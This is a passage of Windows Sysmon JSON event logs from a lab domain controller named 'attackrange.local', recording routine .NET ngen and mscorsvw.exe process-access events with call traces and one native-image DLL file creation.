C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:31.963","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-434F-5F2D-0000-001020341100}","TargetProcessId":"4648","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8292,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:31.963\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-434F-5F2D-0000-001020341100}\r\nTargetProcessId: 4648\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:31.963","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-434F-5F2D-0000-001020341100}","TargetProcessId":"4648","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8293,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:31.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-434F-5F2D-0000-001020341100}\r\nTargetProcessId: 4648\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:31.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-434F-5F2D-0000-001020341100}","TargetProcessId":"4648","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8294,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:32.041\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4350-5F2D-0000-0010C3371100}\r\nTargetProcessId: 4596\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:32.041","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4350-5F2D-0000-0010C3371100}","TargetProcessId":"4596","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8295,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:32.041\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4350-5F2D-0000-0010C3371100}\r\nTargetProcessId: 4596\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:32.041","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4350-5F2D-0000-0010C3371100}","TargetProcessId":"4596","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8296,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:32.041\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4350-5F2D-0000-0010C3371100}\r\nTargetProcessId: 4596\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:32.041","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4350-5F2D-0000-0010C3371100}","TargetProcessId":"4596","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8297,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:32.166\r\nProcessGuid: {90617006-4350-5F2D-0000-0010C3371100}\r\nProcessId: 4596\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\11f4-0\\System.ServiceProcess.dll\r\nCreationUtcTime: 2020-08-07 12:04:32.166","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:32.166","ProcessGuid":"{90617006-4350-5F2D-0000-0010C3371100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\11f4-0\\System.ServiceProcess.dll","CreationUtcTime":"2020-08-07 12:04:32.166","EventReceivedTime":"2020-08-07 12:04:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8298,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:32.197\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4350-5F2D-0000-0010973B1100}\r\nTargetProcessId: 4624\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:32.197","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4350-5F2D-0000-0010973B1100}","TargetProcessId":"4624","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8299,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:32.197\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4350-5F2D-0000-0010973B1100}\r\nTargetProcessId: 4624\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 